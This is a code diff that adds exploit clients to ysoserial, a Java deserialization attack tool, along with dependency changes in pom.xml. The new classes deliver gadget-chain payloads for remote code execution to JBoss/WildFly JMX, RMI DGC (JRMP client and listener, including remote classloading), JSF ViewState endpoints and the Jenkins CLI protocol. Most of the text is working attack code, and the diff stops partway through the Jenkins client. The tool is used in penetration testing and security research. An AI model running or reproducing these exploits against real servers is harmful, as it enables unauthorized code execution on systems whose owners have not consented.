diff --git a/pom.xml b/pom.xml index abdac5f..6bea82d 100644 --- a/pom.xml +++ b/pom.xml @@ -28,7 +28,7 @@ maven-assembly-plugin - ${project.artifactId}-${project.version}-all + ${project.artifactId}-${project.version}-all false @@ -51,6 +51,14 @@ + + + + jenkins + default + http://repo.jenkins-ci.org/public/ + + @@ -74,6 +82,13 @@ 1.8.0 test + + org.nanohttpd + nanohttpd + 2.2.0 + test + + @@ -93,6 +108,52 @@ javassist 3.19.0-GA + + commons-codec + commons-codec + 1.9 + + + remoting + org.jenkins-ci.main + 2.55 + + + org.jboss.logging + jboss-logging + 3.3.0.Final + + + org.jboss.remoting + jboss-remoting + 4.0.19.Final + + + org.jboss + jboss-common-core + 2.5.0.Final + + + org.jboss.logging + jboss-logging-spi + + + + + org.jboss.xnio + xnio-nio + 3.3.4.Final + + + org.jboss.sasl + jboss-sasl + 1.0.5.Final + + + org.jboss.remotingjmx + remoting-jmx + 2.0.1.Final + @@ -102,15 +163,15 @@ 3.1 - org.beanshell - bsh - 2.0b5 - - - commons-beanutils - commons-beanutils - 1.9.2 - + org.beanshell + bsh + 2.0b5 + + + commons-beanutils + commons-beanutils + 1.9.2 + org.apache.commons commons-collections4 @@ -131,5 +192,110 @@ spring-beans 4.1.4.RELEASE + + org.hibernate + hibernate-core + 4.3.11.Final + + + org.springframework + spring-aop + 4.1.4.RELEASE + + + net.sf.json-lib + json-lib + jdk15 + 2.4 + + + commons-fileupload + commons-fileupload + 1.3 + + + com.mchange + c3p0 + 0.9.5.2 + + + javax.servlet + javax.servlet-api + 3.1.0 + + + org.apache.myfaces.core + myfaces-impl + 2.2.9 + + + xalan + xalan + 2.7.2 + + + rome + rome + 1.0 + + + + + hibernate5 + + + hibernate5 + + + + + org.hibernate + hibernate-core + 5.0.7.Final + + + + + + apache-el + + true + + el + apache + + + + + org.mortbay.jasper + apache-el + 8.0.27 + + + + + + juel + + + el + juel + + + + + de.odysseus.juel + juel-impl + 2.2.7 + + + de.odysseus.juel + juel-api + 2.2.7 + + + + + diff --git a/src/main/java/ysoserial/GeneratePayload.java b/src/main/java/ysoserial/GeneratePayload.java index e6e41df..092d7ea 100644 --- a/src/main/java/ysoserial/GeneratePayload.java +++ b/src/main/java/ysoserial/GeneratePayload.java @@ -30,6 +30,7 @@ public class GeneratePayload { System.err.println("Invalid payload type '" + payloadType + "'"); printUsage(); System.exit(USAGE_CODE); + return; // make null analysis happy } try { @@ -37,6 +38,7 @@ public class GeneratePayload { final Object object = payload.getObject(command); PrintStream out = System.out; Serializer.serialize(object, out); + ObjectPayload.Utils.releasePayload(payload, object); } catch (Throwable e) { System.err.println("Error while generating or serializing payload"); e.printStackTrace(); diff --git a/src/main/java/ysoserial/exploit/JBoss.java b/src/main/java/ysoserial/exploit/JBoss.java new file mode 100644 index 0000000..c3a7e61 --- /dev/null +++ b/src/main/java/ysoserial/exploit/JBoss.java @@ -0,0 +1,422 @@ +package ysoserial.exploit; + + +import java.io.IOException; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.InetSocketAddress; +import java.net.MalformedURLException; +import java.net.SocketAddress; +import java.net.URI; +import java.security.KeyManagementException; +import java.security.NoSuchAlgorithmException; +import java.security.NoSuchProviderException; +import java.util.HashMap; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.Executor; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadFactory; +import java.util.concurrent.TimeUnit; +import java.util.logging.Handler; +import java.util.logging.Level; +import java.util.logging.LogManager; +import java.util.logging.LogRecord; +import java.util.logging.Logger; + +import javax.management.InstanceNotFoundException; +import javax.management.IntrospectionException; +import javax.management.MBeanInfo; +import javax.management.MBeanOperationInfo; +import javax.management.MBeanServerConnection; +import javax.management.ObjectInstance; +import javax.management.ReflectionException; +import javax.management.remote.JMXServiceURL; +import javax.security.auth.callback.Callback; +import javax.security.auth.callback.CallbackHandler; +import javax.security.auth.callback.NameCallback; +import javax.security.auth.callback.PasswordCallback; +import javax.security.auth.callback.UnsupportedCallbackException; +import javax.security.sasl.RealmCallback; + +import org.jboss.remoting3.Channel; +import org.jboss.remoting3.Connection; +import org.jboss.remoting3.Endpoint; +import org.jboss.remoting3.OpenListener; +import org.jboss.remoting3.Remoting; +import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory; +import org.jboss.remoting3.spi.ConnectionHandler; +import org.jboss.remoting3.spi.ConnectionHandlerContext; +import org.jboss.remoting3.spi.ConnectionHandlerFactory; +import org.jboss.remoting3.spi.ConnectionProvider; +import org.jboss.remoting3.spi.ConnectionProviderContext; +import org.jboss.remoting3.spi.RegisteredService; +import org.jboss.remotingjmx.VersionedConnection; +import org.xnio.FutureResult; +import org.xnio.IoFuture; +import org.xnio.IoFuture.Status; +import org.xnio.OptionMap; +import org.xnio.Options; +import org.xnio.Xnio; +import org.xnio.XnioWorker; +import org.xnio.ssl.JsseXnioSsl; +import org.xnio.ssl.XnioSsl; + +import ysoserial.payloads.ObjectPayload.Utils; + + +/** + * + * An exploitation client for JBoss AS/Wildfly JMX + * + * JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol. + * + * This is not as readily exploitable as in other pieces of software: + * 1. they only allow authenticated access by default + * 2. they have a very strict module architecture: + * - all MBeans exported by default use classloaders that expose almost nothing useful + * - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like + * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl + * + * This client enumerates all application exported MBean method which are then called + * delivering the specified payload. + * + * I.e. you can succesfully exploit that + * - you have access to the interface + * (username/password can be specified via URL, note: despite not noticeable, + * local connections implicitely use authentication) + * - there is an application exported MBean + * - that application imports the classes required for the gadget chain + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "rawtypes" +} ) +public class JBoss { + + public static void main ( String[] args ) { + + if ( args.length < 3 ) { + System.err.println("Usage " + JBoss.class.getName() + " "); + System.exit(-1); + } + + URI u = URI.create(args[ 0 ]); + + final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); + + String username = null; + String password = null; + if ( u.getUserInfo() != null ) { + int sep = u.getUserInfo().indexOf(':'); + if ( sep >= 0 ) { + username = u.getUserInfo().substring(0, sep); + password = u.getUserInfo().substring(sep + 1); + } + else { + System.err.println("Need :@"); + System.exit(-1); + } + } + + doRun(u, payloadObject, username, password); + Utils.releasePayload(args[1], payloadObject); + } + + + private static void doRun ( URI u, final Object payloadObject, String username, String password ) { + ConnectionProvider instance = null; + ConnectionProviderContextImpl context = null; + ConnectionHandler ch = null; + Channel c = null; + VersionedConnection vc = null; + try { + Logger logger = LogManager.getLogManager().getLogger(""); + logger.addHandler(new ConsoleLogHandler()); + logger.setLevel(Level.INFO); + OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap(); + context = new ConnectionProviderContextImpl(options, "endpoint"); + instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options); + String host = u.getHost(); + int port = u.getPort() > 0 ? u.getPort() : 9990; + SocketAddress destination = new InetSocketAddress(host, port); + ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options); + ch = chf.createInstance(new ConnectionHandlerContextImpl(context)); + c = getChannel(context, ch, options); + System.err.println("Connected"); + vc = makeVersionedConnection(c); + MBeanServerConnection mbc = vc.getMBeanServerConnection(null); + doExploit(payloadObject, mbc); + System.err.println("DONE"); + } + catch ( Throwable e ) { + e.printStackTrace(System.err); + } + finally { + cleanup(instance, context, ch, c, vc); + } + } + + + + private static void cleanup ( ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c, + VersionedConnection vc ) { + if ( vc != null ) { + vc.close(); + } + + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + + if ( ch != null ) { + try { + ch.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + if ( instance != null ) { + try { + instance.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + + if ( context != null ) { + context.getXnioWorker().shutdown(); + } + } + + + private static ConnectionHandlerFactory getConnection ( SocketAddress destination, final String username, final String password, + ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options ) + throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException { + XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options); + FutureResult result = new FutureResult(); + instance.connect(null, destination, options, result, new CallbackHandler() { + + public void handle ( Callback[] callbacks ) throws IOException, UnsupportedCallbackException { + + for ( Callback cb : callbacks ) { + + if ( cb instanceof NameCallback ) { + ( (NameCallback) cb ).setName(username); + } + else if ( cb instanceof PasswordCallback ) { + ( (PasswordCallback) cb ).setPassword(password != null ? password.toCharArray() : new char[0]); + } + else if ( !( cb instanceof RealmCallback) ) { + System.err.println(cb); + throw new UnsupportedCallbackException(cb); + } + } + } + }, xnioSsl); + + System.err.println("waiting for connection"); + IoFuture ioFuture = result.getIoFuture(); + Status s = ioFuture.await(5, TimeUnit.SECONDS); + if ( s == Status.FAILED ) { + System.err.println("Cannot connect"); + if ( ioFuture.getException() != null ) { + ioFuture.getException().printStackTrace(System.err); + } + } + else if ( s != Status.DONE ) { + ioFuture.cancel(); + System.err.println("Connect timeout"); + System.exit(-1); + } + + ConnectionHandlerFactory chf = ioFuture.getInterruptibly(); + return chf; + } + + private static Channel getChannel ( ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options ) throws IOException { + Channel c; + FutureResult chResult = new FutureResult(context.getExecutor()); + ch.open("jmx", chResult, options); + + IoFuture cFuture = chResult.getIoFuture(); + Status s2 = cFuture.await(); + if ( s2 == Status.FAILED ) { + System.err.println("Cannot connect"); + if ( cFuture.getException() != null ) { + throw new IOException("Connect failed", cFuture.getException()); + } + } + else if ( s2 != Status.DONE ) { + cFuture.cancel(); + throw new IOException("Connect timeout"); + } + + c = cFuture.get(); + return c; + } + + + private static VersionedConnection makeVersionedConnection ( Channel c ) + throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException { + VersionedConnection vc; + Class vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory"); + Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class); + vcCreate.setAccessible(true); + vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://")); + return vc; + } + + + private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc ) + throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException { + Object[] params = new Object[1]; + params[ 0 ] = payloadObject; + System.err.println("Querying MBeans"); + Set testMBeans = mbc.queryMBeans(null, null); + System.err.println("Found " + testMBeans.size() + " MBeans"); + for ( ObjectInstance oi : testMBeans ) { + MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName()); + for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) { + try { + mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {}); + System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS"); + return; + } + catch ( Throwable e ) { + String msg = e.getMessage(); + if ( msg.startsWith("java.lang.ClassNotFoundException:") ) { + int start = msg.indexOf('"'); + int stop = msg.indexOf('"', start + 1); + String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : ""; + if ( !"".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) { + int cstart = msg.indexOf(':'); + int cend = msg.indexOf(' ', cstart + 2); + String cls = msg.substring(cstart + 2, cend); + System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")"); + } + } + else { + System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg); + return; + } + } + } + } + } + + + private static final class ConsoleLogHandler extends Handler { + + + @Override + public void publish ( LogRecord record ) { + System.err.println(record.getMessage()); + } + + + @Override + public void flush () { + + } + + + @Override + public void close () throws SecurityException {} + } + + private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext { + + private ConnectionProviderContextImpl context; + + + public ConnectionHandlerContextImpl ( ConnectionProviderContextImpl context ) { + this.context = context; + } + + + public void remoteClosed () {} + + + public OpenListener getServiceOpenListener ( String serviceType ) { + return null; + } + + + public RegisteredService getRegisteredService ( String serviceType ) { + return null; + } + + + public ConnectionProviderContext getConnectionProviderContext () { + return this.context; + } + + + public Connection getConnection () { + return null; + } + } + + + private static final class ConnectionProviderContextImpl implements ConnectionProviderContext { + + private XnioWorker worker; + private ExecutorService executor; + private Xnio instance; + private Endpoint endpoint; + + + public ConnectionProviderContextImpl ( OptionMap opts, String endpointName ) throws IllegalArgumentException, IOException { + this.instance = Xnio.getInstance(); + + this.worker = this.instance.createWorker(opts); + this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts); + this.executor = Executors.newCachedThreadPool(new ThreadFactory() { + + public Thread newThread ( Runnable r ) { + Thread t = new Thread(r, "Worker"); + t.setDaemon(true); + return t; + } + }); + } + + + public XnioWorker getXnioWorker () { + return this.worker; + } + + + public Xnio getXnio () { + return this.instance; + } + + + public Executor getExecutor () { + return this.executor; + } + + + public Endpoint getEndpoint () { + return this.endpoint; + } + + + public void accept ( ConnectionHandlerFactory connectionHandlerFactory ) { + System.err.println("accept"); + } + + } + +} diff --git a/src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java b/src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java new file mode 100644 index 0000000..f6437ec --- /dev/null +++ b/src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java @@ -0,0 +1,50 @@ +package ysoserial.exploit; + + + +import java.net.URL; + + +/** + * JRMP listener triggering RMI remote classloading + * + * Opens up an JRMP listener that will deliver a remote classpath class to the calling client. + * + * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need + * access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}. + * + * This only works if + * - the remote end is running with a security manager + * - java.rmi.server.useCodebaseOnly=false (default until 7u21) + * - the remote has the proper permissions to remotely load the class (mostly URLPermission) + * + * and, of course, the payload class is then run under the security manager with a remote codebase + * so either the policy needs to allow whatever you want to do in the payload or you need to combine + * with a security manager bypass exploit (wouldn't be the first time). + * + * @author mbechler + * + */ +public class JRMPClassLoadingListener { + + public static final void main ( final String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JRMPClassLoadingListener.class.getName() + " "); + System.exit(-1); + return; + } + + try { + int port = Integer.parseInt(args[ 0 ]); + System.err.println("* Opening JRMP listener on " + port); + JRMPListener c = new JRMPListener(port, args[2], new URL(args[1])); + c.run(); + } + catch ( Exception e ) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + } + +} diff --git a/src/main/java/ysoserial/exploit/JRMPClient.java b/src/main/java/ysoserial/exploit/JRMPClient.java new file mode 100644 index 0000000..5206cd0 --- /dev/null +++ b/src/main/java/ysoserial/exploit/JRMPClient.java @@ -0,0 +1,141 @@ +package ysoserial.exploit; + + +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.net.SocketException; +import java.net.URL; +import java.net.URLClassLoader; +import java.net.UnknownHostException; + +import javax.net.SocketFactory; + +import sun.rmi.transport.TransportConstants; +import ysoserial.payloads.ObjectPayload.Utils; + + +/** + * Generic JRMP client + * + * Pretty much the same thing as {@link RMIRegistryExploit} but + * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) + * - not deserializing anything (so you don't get yourself exploited ;)) + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "restriction" +} ) +public class JRMPClient { + + public static final void main ( final String[] args ) { + if ( args.length < 4 ) { + System.err.println(JRMPClient.class.getName() + " "); + System.exit(-1); + } + + Object payloadObject = Utils.makePayloadObject(args[2], args[3]); + String hostname = args[ 0 ]; + int port = Integer.parseInt(args[ 1 ]); + try { + System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port)); + makeDGCCall(hostname, port, payloadObject); + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + Utils.releasePayload(args[2], payloadObject); + } + + public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { + InetSocketAddress isa = new InetSocketAddress(hostname, port); + Socket s = null; + DataOutputStream dos = null; + try { + s = SocketFactory.getDefault().createSocket(hostname, port); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + @SuppressWarnings ( "resource" ) + final ObjectOutputStream objOut = new MarshalOutputStream(dos); + + objOut.writeLong(2); // DGC + objOut.writeInt(0); + objOut.writeLong(0); + objOut.writeShort(0); + + objOut.writeInt(1); // dirty + objOut.writeLong(-669196253586618813L); + + objOut.writeObject(payloadObject); + + os.flush(); + } + finally { + if ( dos != null ) { + dos.close(); + } + if ( s != null ) { + s.close(); + } + } + } + + static final class MarshalOutputStream extends ObjectOutputStream { + + + private URL sendUrl; + + public MarshalOutputStream (OutputStream out, URL u) throws IOException { + super(out); + this.sendUrl = u; + } + + MarshalOutputStream ( OutputStream out ) throws IOException { + super(out); + } + + @Override + protected void annotateClass ( Class cl ) throws IOException { + if ( this.sendUrl != null ) { + writeObject(this.sendUrl.toString()); + } else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { + writeObject(null); + } + else { + URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); + String cb = ""; + + for ( URL u : us ) { + cb += u.toString(); + } + writeObject(cb); + } + } + + + /** + * Serializes a location from which to load the specified class. + */ + @Override + protected void annotateProxyClass ( Class cl ) throws IOException { + annotateClass(cl); + } + } + + +} diff --git a/src/main/java/ysoserial/exploit/JRMPListener.java b/src/main/java/ysoserial/exploit/JRMPListener.java new file mode 100644 index 0000000..e5c034c --- /dev/null +++ b/src/main/java/ysoserial/exploit/JRMPListener.java @@ -0,0 +1,300 @@ +package ysoserial.exploit; + + +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.ObjectStreamClass; +import java.io.OutputStream; +import java.io.Serializable; +import java.net.InetSocketAddress; +import java.net.ServerSocket; +import java.net.Socket; +import java.net.SocketException; +import java.net.URL; +import java.rmi.MarshalException; +import java.rmi.server.ObjID; +import java.rmi.server.UID; + +import javax.management.BadAttributeValueExpException; +import javax.net.ServerSocketFactory; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import sun.rmi.transport.TransportConstants; +import ysoserial.payloads.ObjectPayload.Utils; +import ysoserial.payloads.util.Reflections; + + +/** + * Generic JRMP listener + * + * Opens up an JRMP listener that will deliver the specified payload to any + * client connecting to it and making a call. + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "restriction" +} ) +public class JRMPListener implements Runnable { + + private int port; + private Object payloadObject; + private ServerSocket ss; + private Object waitLock = new Object(); + private boolean exit; + private boolean hadConnection; + private URL classpathUrl; + + + public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException { + this.port = port; + this.payloadObject = payloadObject; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } + + public JRMPListener (int port, String className, URL classpathUrl) throws IOException { + this.port = port; + this.payloadObject = makeDummyObject(className); + this.classpathUrl = classpathUrl; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } + + + public boolean waitFor ( int i ) { + try { + if ( this.hadConnection ) { + return true; + } + System.err.println("Waiting for connection"); + synchronized ( this.waitLock ) { + this.waitLock.wait(i); + } + return this.hadConnection; + } + catch ( InterruptedException e ) { + return false; + } + } + + + /** + * + */ + public void close () { + this.exit = true; + try { + this.ss.close(); + } + catch ( IOException e ) {} + synchronized ( this.waitLock ) { + this.waitLock.notify(); + } + } + + + public static final void main ( final String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JRMPListener.class.getName() + " "); + System.exit(-1); + return; + } + + final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]); + + try { + int port = Integer.parseInt(args[ 0 ]); + System.err.println("* Opening JRMP listener on " + port); + JRMPListener c = new JRMPListener(port, payloadObject); + c.run(); + } + catch ( Exception e ) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + Utils.releasePayload(args[1], payloadObject); + } + + + public void run () { + try { + Socket s = null; + try { + while ( !this.exit && ( s = this.ss.accept() ) != null ) { + try { + s.setSoTimeout(5000); + InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); + System.err.println("Have connection from " + remote); + + InputStream is = s.getInputStream(); + InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); + + // Read magic (or HTTP wrapper) + bufIn.mark(4); + DataInputStream in = new DataInputStream(bufIn); + int magic = in.readInt(); + + short version = in.readShort(); + if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) { + s.close(); + continue; + } + + OutputStream sockOut = s.getOutputStream(); + BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); + DataOutputStream out = new DataOutputStream(bufOut); + + byte protocol = in.readByte(); + switch ( protocol ) { + case TransportConstants.StreamProtocol: + out.writeByte(TransportConstants.ProtocolAck); + if ( remote.getHostName() != null ) { + out.writeUTF(remote.getHostName()); + } else { + out.writeUTF(remote.getAddress().toString()); + } + out.writeInt(remote.getPort()); + out.flush(); + in.readUTF(); + in.readInt(); + case TransportConstants.SingleOpProtocol: + doMessage(s, in, out, this.payloadObject); + break; + default: + case TransportConstants.MultiplexProtocol: + System.err.println("Unsupported protocol"); + s.close(); + continue; + } + + bufOut.flush(); + out.flush(); + } + catch ( InterruptedException e ) { + return; + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + finally { + System.err.println("Closing connection"); + s.close(); + } + + } + + } + finally { + if ( s != null ) { + s.close(); + } + if ( this.ss != null ) { + this.ss.close(); + } + } + + } + catch ( SocketException e ) { + return; + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + } + + + private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception { + System.err.println("Reading message..."); + + int op = in.read(); + + switch ( op ) { + case TransportConstants.Call: + // service incoming RMI call + doCall(in, out, payload); + break; + + case TransportConstants.Ping: + // send ack for ping + out.writeByte(TransportConstants.PingAck); + break; + + case TransportConstants.DGCAck: + UID u = UID.read(in); + break; + + default: + throw new IOException("unknown transport op " + op); + } + + s.close(); + } + + + private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception { + ObjectInputStream ois = new ObjectInputStream(in) { + + @Override + protected Class resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException { + throw new IOException("Not allowed to read object"); + } + }; + + try { + ObjID.read(ois); + } + catch ( java.io.IOException e ) { + throw new MarshalException("unable to read objID", e); + } + + System.err.println("Sending return with payload"); + + out.writeByte(TransportConstants.Return);// transport op + ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl); + + oos.writeByte(TransportConstants.ExceptionalReturn); + new UID().write(oos); + + BadAttributeValueExpException ex = new BadAttributeValueExpException(null); + Reflections.setFieldValue(ex, "val", payload); + oos.writeObject(ex); + + oos.flush(); + out.flush(); + + this.hadConnection = true; + synchronized ( this.waitLock ) { + this.waitLock.notifyAll(); + } + } + + protected static Object makeDummyObject (String className) { + try { + ClassLoader isolation = new ClassLoader() {}; + ClassPool cp = new ClassPool(); + cp.insertClassPath(new ClassClassPath(Dummy.class)); + CtClass clazz = cp.get(Dummy.class.getName()); + clazz.setName(className); + return clazz.toClass(isolation).newInstance(); + } + catch ( Exception e ) { + e.printStackTrace(); + return new byte[0]; + } + } + + + public static class Dummy implements Serializable { + private static final long serialVersionUID = 1L; + + } +} diff --git a/src/main/java/ysoserial/exploit/JSF.java b/src/main/java/ysoserial/exploit/JSF.java new file mode 100644 index 0000000..480da95 --- /dev/null +++ b/src/main/java/ysoserial/exploit/JSF.java @@ -0,0 +1,80 @@ +package ysoserial.exploit; + + +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.net.HttpURLConnection; +import java.net.URL; +import java.net.URLConnection; +import java.net.URLEncoder; + +import org.apache.commons.codec.binary.Base64; + +import ysoserial.payloads.ObjectPayload.Utils; + + +/** + * JSF view state exploit + * + * Delivers a gadget payload via JSF ViewState token. + * + * This will only work if ViewState encryption/mac is disabled. + * + * While it has been long known that client side state saving + * with encryption disabled leads to RCE via EL injection, + * this of course also works with deserialization gadgets. + * + * Also, it turns out that MyFaces is vulnerable to this even when + * using server-side state saving + * (yes, please, let's (de-)serialize a String as an Object). + * + * @author mbechler + * + */ +public class JSF { + + public static void main ( String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JSF.class.getName() + " "); + System.exit(-1); + } + + final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]); + + try { + URL u = new URL(args[ 0 ]); + + URLConnection c = u.openConnection(); + if ( ! ( c instanceof HttpURLConnection ) ) { + throw new IllegalArgumentException("Not a HTTP url"); + } + + HttpURLConnection hc = (HttpURLConnection) c; + hc.setDoOutput(true); + hc.setRequestMethod("POST"); + hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); + OutputStream os = hc.getOutputStream(); + + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(bos); + oos.writeObject(payloadObject); + oos.close(); + byte[] data = bos.toByteArray(); + String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); + os.write(requestBody.getBytes("US-ASCII")); + os.close(); + + System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + Utils.releasePayload(args[1], payloadObject); + + } + + + +} diff --git a/src/main/java/ysoserial/exploit/JenkinsCLI.java b/src/main/java/ysoserial/exploit/JenkinsCLI.java new file mode 100644 index 0000000..cdbd4a4 --- /dev/null +++ b/src/main/java/ysoserial/exploit/JenkinsCLI.java @@ -0,0 +1,124 @@ +package ysoserial.exploit; + +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.HttpURLConnection; +import java.net.InetSocketAddress; +import java.net.MalformedURLException; +import java.net.Socket; +import java.net.SocketException; +import java.net.URL; +import java.net.URLConnection; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadFactory; + +import javax.net.SocketFactory; + +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.Channel.Mode; +import hudson.remoting.ChannelBuilder; +import ysoserial.payloads.ObjectPayload.Utils; + +/** + * Jenkins CLI client + * + * Jenkins unfortunately is still using a custom serialization based + * protocol for remote communications only protected by a blacklisting + * application level filter. + * + * This is a generic client delivering a gadget chain payload via that protocol. + * + * @author mbechler + * + */ +public class JenkinsCLI { + public static final void main ( final String[] args ) { + if ( args.length < 3 ) { + System.err.println(JenkinsCLI.class.getName() + " "); + System.exit(-1); + } + + final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); + + String jenkinsUrl = args[ 0 ]; + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + c.call(getPropertyCallable(payloadObject)); + } + catch ( Throwable e ) { + e.printStackTrace(); + } + finally { + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + } + Utils.releasePayload(args[1], payloadObject); + } + + public static Callable getPropertyCallable ( final Object prop ) + throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + reqCons.setAccessible(true); + Object getJarLoader = reqCons + .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] { + prop + }); + return (Callable) getJarLoader; + } + + public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException { + URL u = new URL(jenkinsUrl); + + URLConnection conn = u.openConnection(); + if ( ! ( conn instanceof HttpURLConnection ) ) { + System.err.println("Not a HTTP URL"); + throw new MalformedURLException(); + } + + HttpURLConnection hc = (HttpURLConnection) conn; + if ( hc.getResponseCode() >= 400 ) { + System.err.println("* Error connection to jenkins HTTP " + u); + } + int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); + + return new InetSocketAddress(u.getHost(), clip); + } + + public static Channel openChannel ( InetSocketAddress isa ) throws IOException, SocketException { + System.err.println("* Opening socket " + isa); + Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + System.err.println("* Opening channel"); + OutputStream outputStream = s.getOutputStream(); + DataOutputStream dos = new DataOutputStream(outputStream); + dos.writeUTF("Protocol:CLI-connect"); + ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() { + + public Thread newThread ( Runnable r ) { + Thread t = new Thread(r, "Channel"); + t.setDaemon(true); + return t; + } + }); + Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); + System.err.println("* Channel open"); 